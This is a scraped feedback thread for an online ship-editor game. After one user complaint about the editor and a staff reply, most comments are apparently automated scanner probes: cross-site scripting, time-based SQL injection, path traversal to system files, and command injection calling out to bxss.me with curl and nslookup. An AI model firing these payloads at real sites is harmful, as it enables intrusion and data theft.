Feedback

how come the editor is so hard to use by Rcasassin - 151 months ago

you should make it like "windows paint"

• Erik

  We're working on this.

• lxbfYeaa

  1

• lxbfYeaa

  1

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1CixNDkk7LO

• 1Dt0PYk3BrO

  1

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• WfxYANoW

  ${9999332+10000018}

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• ${9999533+9999049}

  1

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  response.write(9532662*9237174)

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• WfxYANoW

  file:///etc/passwd

• Anonymous

  1

• WfxYANoW

  /etc/shells

• WfxYANoW

  '+response.write(9532662*9237174)+'

• WfxYANoW

  "+response.write(9532662*9237174)+"

• WfxYANoW

  echo zhrnxb$()\ dpbosm\nz^xyu||a #' &echo zhrnxb$()\ dpbosm\nz^xyu||a #|" &echo zhrnxb$()\ dpbosm\nz^xyu||a #

• WfxYANoW

  &echo yecqfc$()\ mjpbvd\nz^xyu||a #' &echo yecqfc$()\ mjpbvd\nz^xyu||a #|" &echo yecqfc$()\ mjpbvd\nz^xyu||a #

• WfxYANoW

  1

• WfxYANoW

  1&echo ojqzjr$()\ dwbabi\nz^xyu||a #' &echo ojqzjr$()\ dwbabi\nz^xyu||a #|" &echo ojqzjr$()\ dwbabi\nz^xyu||a #

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• response.write(9152462*9938165)

  1

• WfxYANoW

  ../1

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  SaWAdJft

• WfxYANoW

  |echo fubbwz$()\ fsntbt\nz^xyu||a #' |echo fubbwz$()\ fsntbt\nz^xyu||a #|" |echo fubbwz$()\ fsntbt\nz^xyu||a #

• '+response.write(9152462*9938165)+'

  1

• file:///etc/passwd

  1

• WfxYANoW

  bxss.me

• WfxYANoW

  1

• WfxYANoW

  XRZyZPUn: ysnwklID

• "+response.write(9152462*9938165)+"

  1

• WfxYANoW

  1&n949104=v908987

• BBjbgi4f

  1

• ../WfxYANoW

  1

• WfxYANoW

  1|echo vrbjps$()\ vfhnzc\nz^xyu||a #' |echo vrbjps$()\ vfhnzc\nz^xyu||a #|" |echo vrbjps$()\ vfhnzc\nz^xyu||a #

• PxFlXUDm: gxJ8h1df

  1

• Zlg5YjNVYXo=

  1

• WfxYANoW

  (nslookup -q=cname hitveyyrojmki8eafc.bxss.me||curl hitveyyrojmki8eafc.bxss.me))

• WfxYANoW

  $(nslookup -q=cname hitnusnejcfgg42535.bxss.me||curl hitnusnejcfgg42535.bxss.me)

• WfxYANoW

  )

• WfxYANoW&n929962=v990920

  1

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• Http://bxss.me/t/fit.txt

  1

• WfxYANoW

  '.gethostbyname(lc('hitxp'.'nmgxtquff81bd.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(65).chr(122).chr(69).'

• WfxYANoW

  &nslookup -q=cname hithyimnvfqoh3d1b3.bxss.me&'\"`0&nslookup -q=cname hithyimnvfqoh3d1b3.bxss.me&`'

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  1

• WfxYANoW

  ".gethostbyname(lc("hitis"."adllinru2d2c5.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(78).chr(103).chr(88)."

• WfxYANoW

  &(nslookup -q=cname hitwxxszciodxbc55b.bxss.me||curl hitwxxszciodxbc55b.bxss.me)&'\"`0&(nslookup -q=cname hitwxxszciodxbc55b.bxss.me||curl hitwxxszciodxbc55b.bxss.me)&`'

• /etc/shells

  1

• WfxYANoW

  |(nslookup -q=cname hitpmfefstzjw1b592.bxss.me||curl hitpmfefstzjw1b592.bxss.me)

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  gethostbyname(lc('hitkf'.'oigilmga70eff.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(73).chr(103).chr(90)

• WfxYANoW

  ';print(md5(31337));$a='

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW

  ";print(md5(31337));$a="

• WfxYANoW

  '"()

• WfxYANoW

  `(nslookup -q=cname hituhfzrjqpwx5eb72.bxss.me||curl hituhfzrjqpwx5eb72.bxss.me)`

• c:/windows/win.ini

  1

• WfxYANoW

  1'&&sleep(27*1000)*fdmimn&&'

• bxss.me

  1

• WfxYANoW

  1"&&sleep(27*1000)*wfeznx&&"

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  1'||sleep(27*1000)*vsbgmc||'

• WfxYANoW

  1"||sleep(27*1000)*nztjol||"

• WfxYANoW

  ^(#$!@#$)(()))******

• WfxYANoW

  ${@print(md5(31337))}

• WfxYANoW

  ;(nslookup -q=cname hithrnimuwchc02580.bxss.me||curl hithrnimuwchc02580.bxss.me)|(nslookup -q=cname hithrnimuwchc02580.bxss.me||curl hithrnimuwchc02580.bxss.me)&(nslookup -q=cname hithrnimuwchc02580.bxss.me||curl hithrnimuwchc02580.bxss.me)

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitwksgwvcfscc9aa7.bxss.me||curl${IFS}hitwksgwvcfscc9aa7.bxss.me)

• xfs.bxss.me

  1

• WfxYANoW

  ${@print(md5(31337))}\

• )

  1

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitnlhdyyhybded48c.bxss.me||curl${IFS}hitnlhdyyhybded48c.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitnlhdyyhybded48c.bxss.me||curl${IFS}hitnlhdyyhybded48c.bxss.me)&`'

• WfxYANoW

  '.print(md5(31337)).'

• WfxYANoW

  '"

• WfxYANoW

  <!--

• !(()&&!|*|*|

  1

• WfxYANoW

  1

• ';print(md5(31337));$a='

  1

• '"

  1

• WfxYANoW

  1'"()&%<zzz><ScRiPt >ZLQ8(9996)</ScRiPt>

• ";print(md5(31337));$a="

  1

• <!--

  1

• WfxYANoW

  1

• ^(#$!@#$)(()))******

  1

• WfxYANoW

  '"()&%<zzz><ScRiPt >ZLQ8(9969)</ScRiPt>

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(105).concat(67).concat(102).concat(65)+(require"socket" Socket.gethostbyname("hitmq"+"qkwewklaae69f.bxss.me.")[3].to_s)+"

• ${@print(md5(31337))}

  1

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(113).concat(77).concat(122).concat(70)+(require'socket' Socket.gethostbyname('hitzb'+'lywdinuz874bc.bxss.me.')[3].to_s)+'

• '"()

  1

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW

  bxss.me/t/xss.html?%00

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(108).concat(65).concat(122).concat(77)+(require'socket' Socket.gethostbyname('hitsx'+'qqupcung2f36e.bxss.me.')[3].to_s)

• WfxYANoW'&&sleep(27*1000)*olyexw&&'

  1

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  19697856

• ${@print(md5(31337))}\

  1

• WfxYANoW

  comment

• WfxYANoW"&&sleep(27*1000)*dvfrok&&"

  1

• '.print(md5(31337)).'

  1

• bxss.me/t/xss.html?%00

  1

• WfxYANoW

  comment

• WfxYANoW

  bfg6841＜s1﹥s2ʺs3ʹhjl6841

• WfxYANoW'||sleep(27*1000)*zdhdqe||'

  1

• WfxYANoW

  comment/.

• WfxYANoW"||sleep(27*1000)*kayjyu||"

  1

• comment

  1

• comment

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• comment/.

  1

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >ZLQ8(9614)</ScRiPt>

• WfxYANoW

  1<WCQU1F>CTTTZ[!+!]</WCQU1F>

• WfxYANoW

  1<script>ZLQ8(9892)</script>

• WfxYANoW

  1<script>ZLQ8(9776)</script>9776

• WfxYANoW

  1

• WfxYANoW

  1<ScR<ScRiPt>IpT>ZLQ8(9490)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >ZLQ8(9978)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9355></ScRiPt>

• WfxYANoW

  1<ScRiPt >ZLQ8(9244)</ScRiPt>

• WfxYANoW

  1<isindex type=image src=1 onerror=ZLQ8(9209)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9171'>

• WfxYANoW

  1<body onload=ZLQ8(9503)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=ZLQ8(9111)>

• WfxYANoW

  1<img src=xyz OnErRor=ZLQ8(9326)>

• WfxYANoW

  1<img/src=">" onerror=alert(9317)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%5A%4C%51%38%289447%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\ZLQ8(9056)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;ZLQ8(9803)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=ZLQ8(9880)>

• WfxYANoW

  1hPlnilcv

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1}body{zzz:Expre/**/SSion(ZLQ8(9562))}

• WfxYANoW

  1jFL4d <ScRiPt >ZLQ8(9361)</ScRiPt>

• WfxYANoW

  1<WAD8NT>4AHF3[!+!]</WAD8NT>

• WfxYANoW

  1<ifRAme sRc=9784.com></IfRamE>

• WfxYANoW

  1<aj3pMsg x=9364>

• WfxYANoW

  1<img sRc='http://attacker-9468/log.php?

• WfxYANoW

  1<adVp68o<

• WfxYANoW'"()&%<zzz><ScRiPt >ZLQ8(9170)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >ZLQ8(9692)</ScRiPt>

  1

• WfxYANoW

  1

• WfxYANoW9795741

  1

• bfg5973＜s1﹥s2ʺs3ʹhjl5973

  1

• WfxYANoW

  -1 OR 2+70-70-1=0+0+0+1 --

• WfxYANoW

  -1 OR 2+494-494-1=0+0+0+1

• WfxYANoW

  -1' OR 2+733-733-1=0+0+0+1 --

• <%={{={@{#{${dfb}}%>

  1

• WfxYANoW

  -1' OR 2+628-628-1=0+0+0+1 or 'BpfP9GoM'='

• WfxYANoW

  -1" OR 2+18-18-1=0+0+0+1 --

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >ZLQ8(9388)</ScRiPt>

  1

• WfxYANoW<WQP6WW>ESD8R[!+!]</WQP6WW>

  1

• WfxYANoW<script>ZLQ8(9674)</script>

  1

• WfxYANoW<script>ZLQ8(9547)</script>9547

  1

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• WfxYANoW<ScRiPt >ZLQ8(9333)</ScRiPt>

  1

• WfxYANoW<ScRiPt >ZLQ8(9220)</ScRiPt>

  1

• WfxYANoW<body onload=ZLQ8(9679)>

  1

• WfxYANoW<img src=xyz OnErRor=ZLQ8(9935)>

  1

• WfxYANoW<img/src=">" onerror=alert(9378)>

  1

• WfxYANoW\u003CScRiPt\ZLQ8(9042)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;ZLQ8(9761)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=ZLQ8(9432)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(ZLQ8(9275))}

  1

• WfxYANoWATGTf <ScRiPt >ZLQ8(9528)</ScRiPt>

  1

• WfxYANoW<WUEHUY>6J536[!+!]</WUEHUY>

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• WfxYANoW<ifRAme sRc=9588.com></IfRamE>

  1

• WfxYANoW<aizmJpD x=9313>

  1

• WfxYANoW<img sRc='http://attacker-9994/log.php?

  1

• WfxYANoW<aWPxVup<

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1wtJH0WU3'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 937=(SELECT 937 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 252=(SELECT 252 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 778=(SELECT 778 FROM PG_SLEEP(15))--

• WfxYANoW

  1LQaMiwcQ' OR 77=(SELECT 77 FROM PG_SLEEP(15))--

• WfxYANoW

  1PCITRhQK') OR 699=(SELECT 699 FROM PG_SLEEP(15))--

• WfxYANoW

  12eWMzxau')) OR 649=(SELECT 649 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@7ZpJQ

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWWdu7xKJF

  1

• WfxYANoW

  1

• -1 OR 2+934-934-1=0+0+0+1 --

  1

• -1 OR 2+477-477-1=0+0+0+1

  1

• -1' OR 2+275-275-1=0+0+0+1 --

  1

• -1' OR 2+707-707-1=0+0+0+1 or 'YN1yt2kN'='

  1

• -1" OR 2+494-494-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoWM9w9PfYo'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@Mzafn

  1

• Pecedec150

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• quhpbigb

  1

• bkspjhki

  response.write(9068882*9728220)

• bbdwsuyx

  1

• bkspjhki

  '+response.write(9068882*9728220)+'

• bbdwsuyx

  1

• kofeuiqe

  set|set&set

• ominijqw

  1Mc2VjyQ

• bkspjhki

  "+response.write(9068882*9728220)+"

• bbdwsuyx

  mpt0trMu

• kofeuiqe

  $(nslookup XEsz8m8k)

• tylD7ZTv

  1

• xettmivv

  ../../../../../../../../../../etc/passwd

• response.write(9488268*9218859)

  1

• bbdwsuyx

  -1 OR 2+306-306-1=0+0+0+1 --

• kofeuiqe

  &nslookup Mwvadvwq&'\"`0&nslookup Mwvadvwq&`'

• avnaecnv

  1

• xettmivv

  ../../../../../../../../../../../../../../../proc/version

• '+response.write(9488268*9218859)+'

  1

• bbdwsuyx

  -1 OR 2+221-221-1=0+0+0+1

• set|set&set

  1

• xettmivv

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• "+response.write(9488268*9218859)+"

  1

• bbdwsuyx

  -1' OR 2+508-508-1=0+0+0+1 --

• $(nslookup h2pthyU3)

  1

• xettmivv

  ../../../../../../../../../../etc/passwd.jpg

• baegugls

  ${10000363+10000245}

• bbdwsuyx

  -1' OR 2+810-810-1=0+0+0+1 or 'F5AimhTl'='

• &nslookup LZULWlqI&'\"`0&nslookup LZULWlqI&`'

  1

• tgnghjke

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• xettmivv

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• ${10000164+9999950}

  1

• bbdwsuyx

  -1" OR 2+178-178-1=0+0+0+1 --

• cXlsVHBib3I=

  1

• avnaecnv

  1

• tgnghjke

  1some_inexistent_file_with_long_name.jpg

• xettmivv

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• bghoqgsm

  1&n989698=v925148

• bbdwsuyx

  if(now()=sysdate(),sleep(4),0)/*'XOR(if(now()=sysdate(),sleep(4),0))OR'"XOR(if(now()=sysdate(),sleep(4),0))OR"*/

• Anonymous

  1

• aatlweva

  )

• tgnghjke

  Http://testasp.vulnweb.com/t/fit.txt

• xettmivv

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• bbdwsuyx

  if(now()=sysdate(),sleep(8),0)/*'XOR(if(now()=sysdate(),sleep(8),0))OR'"XOR(if(now()=sysdate(),sleep(8),0))OR"*/

• aatlweva

  !(()&&!|*|*|

• tgnghjke

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• xettmivv

  /etc/passwd

• mafphhjc&n956985=v985902

  1

• bbdwsuyx

  (select(0)from(select(sleep(4)))v)/*'+(select(0)from(select(sleep(4)))v)+'"+(select(0)from(select(sleep(4)))v)+"*/

• aatlweva

  ^(#$!@#$)(()))******

• tgnghjke

  testasp.vulnweb.com

• xettmivv

  %2fetc%2fpasswd

• bbdwsuyx

  (select(0)from(select(sleep(8)))v)/*'+(select(0)from(select(sleep(8)))v)+'"+(select(0)from(select(sleep(8)))v)+"*/

• )

  1

• xettmivv

  /.././.././.././.././.././.././.././../etc/./passwd%00

• bbdwsuyx

  -1; waitfor delay '0:0:4' --

• sbrbkcim

  ;print(md5(acunetix_wvs_security_test));

• sdbuxyvw

  '"()

• !(()&&!|*|*|

  1

• mqlpkkuc

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• 1some_inexistent_file_with_long_name.jpg

  1

• xettmivv

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• bbdwsuyx

  -1; waitfor delay '0:0:12' --

• sbrbkcim

  ';print(md5(acunetix_wvs_security_test));$a='

• ^(#$!@#$)(()))******

  1

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• rgseqshu

  1

• Http://testasp.vulnweb.com/t/fit.txt

  1

• xettmivv

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• bbdwsuyx

  -1); waitfor delay '0:0:8' --

• sbrbkcim

  ";print(md5(acunetix_wvs_security_test));$a="

• '"()

  1

• umbhwdmp

  http://hitCyuEdDJGYd.bxss.me/

• nyysjeof

  1

• rgseqshu

  comment

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• bbdwsuyx

  1 waitfor delay '0:0:8' --

• sbrbkcim

  ${@print(md5(acunetix_wvs_security_test))}

• snttcrdm

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• nyysjeof

  1'"

• http://hittKXIk8xa4P.bxss.me/

  1

• rgseqshu

  comment

• testasp.vulnweb.com

  1

• xettmivv

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• bbdwsuyx

  zaAa9boa'; waitfor delay '0:0:8' --

• sbrbkcim

  ${@print(md5(acunetix_wvs_security_test))}\

• nyysjeof

  \

• worvbjry

  /www.vulnweb.com

• rgseqshu

  comment/.

• wcxuiblo

  '"

• xettmivv

  file:///etc/passwd

• bbdwsuyx

  -1;select pg_sleep(8); --

• ;print(md5(acunetix_wvs_security_test));

  1

• trsjgdke

  1'"()&%<acx><ScRiPt >gwKi(9484)</ScRiPt>

• /www.vulnweb.com

  1

• rgseqshu

  1

• wcxuiblo

  <!--

• xettmivv

  /\../\../\../\../\../\../\../etc/passwd

• bbdwsuyx

  -1);select pg_sleep(12); --

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• nyysjeof

  @@eiwKS

• comment

  1

• '"

  1

• xettmivv

  WEB-INF/web.xml

• bbdwsuyx

  -1));select pg_sleep(12); --

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• nyysjeof

  JyI=

• trsjgdke

  '"()&%<acx><ScRiPt >gwKi(9233)</ScRiPt>

• comment

  1

• <!--

  1

• xettmivv

  /WEB-INF/web.xml

• bbdwsuyx

  q5wJfhQj';select pg_sleep(12); --

• ${@print(md5(acunetix_wvs_security_test))}

  1

• comment/.

  1

• xettmivv

  WEB-INF\web.xml

• bbdwsuyx

  uWCOaV67');select pg_sleep(4); --

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• trsjgdke

  1_9676

• ../../../../../../../../../../etc/passwd

  1

• bbdwsuyx

  zFgL7VOD');select pg_sleep(0); --

• nyysjeof

  (select convert(int,CHAR(65)))

• bbdwsuyx

  vmcCIK9w'));select pg_sleep(4); --

• nyysjeof

  1

• trsjgdke

  acu7666＜s1﹥s2ʺs3ʹuca7666

• bbdwsuyx

  1

• 1'"

  1

• ../../../../../../../../../../etc/passwd.jpg

  1

• bbdwsuyx

  1

• \

  1

• EprioN8z

  1

• -1 OR 2+91-91-1=0+0+0+1 --

  1

• @@CQYp1

  1

• trsjgdke

  {{10000079*9999770}}

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• -1 OR 2+536-536-1=0+0+0+1

  1

• JyI=

  1

• /etc/passwd

  1

• -1' OR 2+595-595-1=0+0+0+1 --

  1

• trsjgdke

  1<ScRiPt >gwKi(9373)</ScRiPt>

• %2fetc%2fpasswd

  1

• -1' OR 2+671-671-1=0+0+0+1 or 'Q5XpChBT'='

  1

• -1" OR 2+608-608-1=0+0+0+1 --

  1

• (select convert(int,CHAR(65)))

  1

• trsjgdke

  1<WXXJUR>WFLLI[!+!]</WXXJUR>

• trsjgdke

  1<script>gwKi(9709)</script>

• 1 waitfor delay '0:0:12' --

  1

• h0eoF4hQ'; waitfor delay '0:0:12' --

  1

• trsjgdke

  1<ScR<ScRiPt>IpT>gwKi(9681)</sCr<ScRiPt>IpT>

• 2r9tudLh';select pg_sleep(4); --

  1

• file:///etc/passwd

  1

• nEr0CIZL');select pg_sleep(4); --

  1

• /\../\../\../\../\../\../\../etc/passwd

  1

• trsjgdke

  1<ScRiPt >gwKi(9363)</ScRiPt>

• mQstFyrH'));select pg_sleep(4); --

  1

• WEB-INF/web.xml

  1

• /WEB-INF/web.xml

  1

• trsjgdke

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9849></ScRiPt>

• WEB-INF\web.xml

  1

• trsjgdke

  1<ScRiPt >gwKi(9809)</ScRiPt>

• trsjgdke

  1<video><source onerror="javascript:gwKi(9525)">

• trsjgdke

  1<isindex type=image src=1 onerror=gwKi(9862)>

• trsjgdke

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9726'>

• trsjgdke

  1<body onload=gwKi(9538)>

• trsjgdke

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=gwKi(9753)>

• trsjgdke

  1<img src=xyz OnErRor=gwKi(9585)>

• trsjgdke

  1<img/src=">" onerror=alert(9477)>

• trsjgdke

  %31%3C%53%63%52%69%50%74%20%3E%67%77%4B%69%289897%29%3C%2F%73%43%72%69%70%54%3E

• trsjgdke

  1\u003CScRiPt\gwKi(9869)\u003C/sCripT\u003E

• trsjgdke

  1&lt;ScRiPt&gt;gwKi(9066)&lt;/sCripT&gt;

• trsjgdke

  1<input autofocus onfocus=gwKi(9868)>

• trsjgdke

  <a HrEF=http://www.vulnweb.com></a>

• trsjgdke

  <a HrEF=jaVaScRiPT:>

• trsjgdke

  [url=http://www.vulnweb.com][/url]

• trsjgdke

  1<img<!-- --> src=x onerror=alert(9638);//><!-- -->

• trsjgdke

  1}body{acu:Expre/**/SSion(gwKi(9430))}

• trsjgdke

  1<% contenteditable onresize=gwKi(9802)>

• trsjgdke

  1_EcesD <ScRiPt >gwKi(9708)</ScRiPt>

• trsjgdke

  1<WMREKG>JL3E4[!+!]</WMREKG>

• trsjgdke

  1<ifRAme sRc=9251.com></IfRamE>

• trsjgdke

  1<P1yHaD x=9647>

• trsjgdke

  1<img sRc='http://attacker-9890/log.php?

• trsjgdke'"()&%<acx><ScRiPt >gwKi(9341)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >gwKi(9431)</ScRiPt>

  1

• trsjgdke_9584

  1

• acu7854＜s1﹥s2ʺs3ʹuca7854

  1

• {{10000315*10000190}}

  1

• trsjgdke<ScRiPt >gwKi(9122)</ScRiPt>

  1

• trsjgdke<W7C6DB>JYDL2[!+!]</W7C6DB>

  1

• trsjgdke<script>gwKi(9106)</script>

  1

• trsjgdke<ScRiPt >gwKi(9301)</ScRiPt>

  1

• trsjgdke<ScRiPt >gwKi(9069)</ScRiPt>

  1

• trsjgdke<body onload=gwKi(9032)>

  1

• trsjgdke<img src=xyz OnErRor=gwKi(9150)>

  1

• trsjgdke<img/src=">" onerror=alert(9082)>

  1

• trsjgdke\u003CScRiPt\gwKi(9000)\u003C/sCripT\u003E

  1

• trsjgdke&lt;ScRiPt&gt;gwKi(9893)&lt;/sCripT&gt;

  1

• trsjgdke<input autofocus onfocus=gwKi(9801)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• trsjgdke}body{acu:Expre/**/SSion(gwKi(9676))}

  1

• trsjgdke<% contenteditable onresize=gwKi(9370)>

  1

• trsjgdke_LBEZp <ScRiPt >gwKi(9387)</ScRiPt>

  1

• trsjgdke<WNXSIG>VHJME[!+!]</WNXSIG>

  1

• trsjgdke<ifRAme sRc=9386.com></IfRamE>

  1

• trsjgdke<42VEKN x=9464>

  1

• trsjgdke<img sRc='http://attacker-9077/log.php?

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 152 months ago
  Unvote

  8064 agree

• Hack Protection
  By Stealthkid - 144 months ago
  Unvote

  2858 agree

• Add to favorites
  By Anonymous - 155 months ago
  Unvote

  798 agree

• editro
  By critic - 155 months ago
  Unvote

  772 agree

• Missiles as an Third Weapon
  By Ram - 151 months ago
  Unvote

  746 agree

• Youtube B-wing achievement
  By chuck norris - 153 months ago
  Unvote

  746 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 111 months ago
  Unvote

  710 agree

• Change Name?
  By Anonymous - 155 months ago
  Unvote

  681 agree

• Slide ship in on start
  By Kickass guy - 155 months ago
  Unvote

  661 agree

• Mistaken Website Bug
  By CrazyDeathling - 153 months ago
  Unvote

  661 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 150 months ago
  Unvote

  645 agree

• Rank list & Leaderboards
  By StoleYourFood - 149 months ago
  Unvote

  632 agree

• What browsers are supported?
  By Jack - 151 months ago
  Unvote

  623 agree

• It doesn't work!
  By the destructor - 154 months ago
  Unvote

  622 agree

• Awesome
  By Anonymous - 147 months ago
